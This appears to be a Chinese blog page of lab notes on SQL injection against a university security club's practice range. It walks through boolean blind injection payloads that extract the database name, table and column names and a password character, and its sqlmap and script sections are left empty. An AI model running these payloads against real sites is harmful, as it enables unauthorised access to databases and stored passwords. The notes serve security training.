简介

靶场:榆林学院信息安全协会——入侵榆大实验靶场

数字型注入

1

字符型注入

1

布尔注入

1.布尔注入简介

mysql bool注入是盲注的一种。与报错注入不同,bool注入没有任何报错信息输出,

页面返回只有正常和不正常两种状态。攻击者只能通过这两个状态来判断输入的SQL注入语句是否正确,

从而判断数据库中存储了那些信息

2.基础的MYSQL函数

ascii()返回字符串str的最左面字符的ASCII代码值

ord() 函数返回字符串第一个字符的ASCII 值

substring()字符串截取函数

left(str, length)从开始截取字符串

right(str, length)从右边开始截取字符串

学习参考:https://www.cnblogs.com/heyonggang/p/8117754.html

3.二分法盲注过程

靶场采用协会内1比1仿真靶场:

测试注入payload:

http://127.0.0.1/index.php?id=8'
http://127.0.0.1/index.php?id=8 and 1=1
http://127.0.0.1/index.php?id=8 and 1=2

经过测试  页面不论怎样测试都没有错误  只有有数据 和无数据两种页面 不像别的注入页面会爆出错误 只有爆出错误信息我们才能通过错误信息这块来爆出数据库中的内容

所以我们大致判断这个页面是一个布尔注入  使用盲注方法来解决。

采用二分法判断 得知数据库长度为4

and (select length(database()))>35   //页面回显没数据
and (select length(database()))<35 //页面回显有数据
and (select length(database()))=4 //页面回显有数据

获得数据库名 获得数据库名为 ylxy

and left((select database()),1)='y'

获得数据库中表的数量

and if((select count(*) from information_schema.tables where table_schema=database())>1,1,0)
and if((select count(*) from information_schema.tables where table_schema=database())=2,1,0)

获得数据库表名

and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r'

------有问题。。。。

判断字段数量

and (select count(*) from information_schema.columns where table_name='users')>1

获得指定表名字段数
and left((select column_name from information_schema.columns where table_name='users' limit 1,1),1)='f'

爆数据
and left((select password from users limit 0,1),1)='D'

3.sqlmap 注入

ddd

3.python 脚本注入

线性结构Linear Structure

1

web安全原理分析-SQL注入漏洞全解的更多相关文章

  1. 什么是简单的分析SQL注入漏洞

    如今非常多人在入侵的过程中基本都是通过SQL注入来完毕的,可是有多少人知道为什么会有这种注入漏洞呢?有的会随口说着对于字符的过滤不严造成的. 可是事实是这样吗?我们学这些.不仅要知其然.更要知其所以然 ...

  2. SQL注入漏洞详解

    目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 UpdateXml报错注 ...

  3. SQL注入漏洞技术的详解

    SQL注入漏洞详解 目录 SQL注入的分类 判断是否存在SQL注入 一:Boolean盲注 二:union 注入 三:文件读写 四:报错注入 floor报错注入 ExtractValue报错注入 Up ...

  4. 【漏洞分析】Discuz! X系列全版本后台SQL注入漏洞

    0x01漏洞描述 Discuz!X全版本存在SQL注入漏洞.漏洞产生的原因是source\admincp\admincp_setting.php在处理$settingnew['uc']['appid' ...

  5. 【漏洞复现】CVE-2022–21661 WordPress核心框架WP_Query SQL注入漏洞原理分析与复现

    影响版本 wordpress < 5.8.3 分析 参考:https://blog.csdn.net/qq_46717339/article/details/122431779 在 5.8.3 ...

  6. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  7. WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

    对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...

  8. Joomla CMS 3.2-3.4.4 SQL注入 漏洞分析

    RickGray · 2015/10/26 11:24 昨日,Joomla CMS发布新版本3.4.5,该版本修复了一个高危的SQL注入漏洞,3.2至3.4.4版本都受到影响.攻击者通过该漏洞可以直接 ...

  9. [web安全原理分析]-XEE漏洞入门

    前言 1 前言 XXE漏洞 XXE漏洞全称(XML External Entity Injection)即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致 ...

随机推荐

  1. 【抽五分钟】使用VuePress创建在线文档中心

    内容目录 安装初始化核心配置导航栏配置侧边栏配置静态资源配置nginx部署typora编写 安装初始化 全局安装  npm install -g vuepress 创建目录 mkdir vurepre ...

  2. leaflet平台添加天地图方法

    leaflet平台添加天地图得方法具体如下操作 var map = L.map('map',  {   crs: L.CRS.EPSG4326,   zoomControl: true,   edit ...

  3. Java安全之Commons Collections3分析

    Java安全之Commons Collections3分析 文章首发:Java安全之Commons Collections3分析 0x00 前言 在学习完成前面的CC1链和CC2链后,其实再来看CC3 ...

  4. 原生JS实现动态折线图

    原生JS实现动态折线图 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> & ...

  5. Linux入门到放弃之六《磁盘和文件系统管理一》

    要求:创建卷组名为 mail_store:逻辑卷名 mail,从卷组mail_store上划出50GB空间, 使用mkfs命令创建ext3文件系统,并实现开机自动挂载,挂载点/mailbox: (1) ...

  6. 010_Java历史及特性

    目录 Java历史 C语言 1972年 C++ 1982年 Java 1995年 Applet 图形界面的程序 J2SE Java 2 标准版 桌面 J2ME Java 2 移动版 手机 J2EE J ...

  7. Scala编程 笔记

    date: 2019-08-07 11:15:00 updated: 2019-11-25 20:00:00 Scala编程 笔记 1. makeRDD 和 parallelize 生成 RDD de ...

  8. get方法和post方法的区别?

    get是从服务器上获取数据,post是向服务器传送数据,会新增资源或者修改已有资源,因此get一般用于查询,psot多用新增和修改: get和post在本质上来说没有多大区别,都是tcp链接,要说最大 ...

  9. 【转】not found while looking for property错误

    原址:http://blog.csdn.net/y3wegy/article/details/7840813 最近在研究Hibernate.过程当中碰到了很多问题啊!其中一个就是not found w ...

  10. numpy基础读写

    一.npy,npz 格式的读写 1.写入 a.Savez("存储地址",数组1,数组2,-,数组n) --npz,将多个数组保存到文件 b.Save("存储地址" ...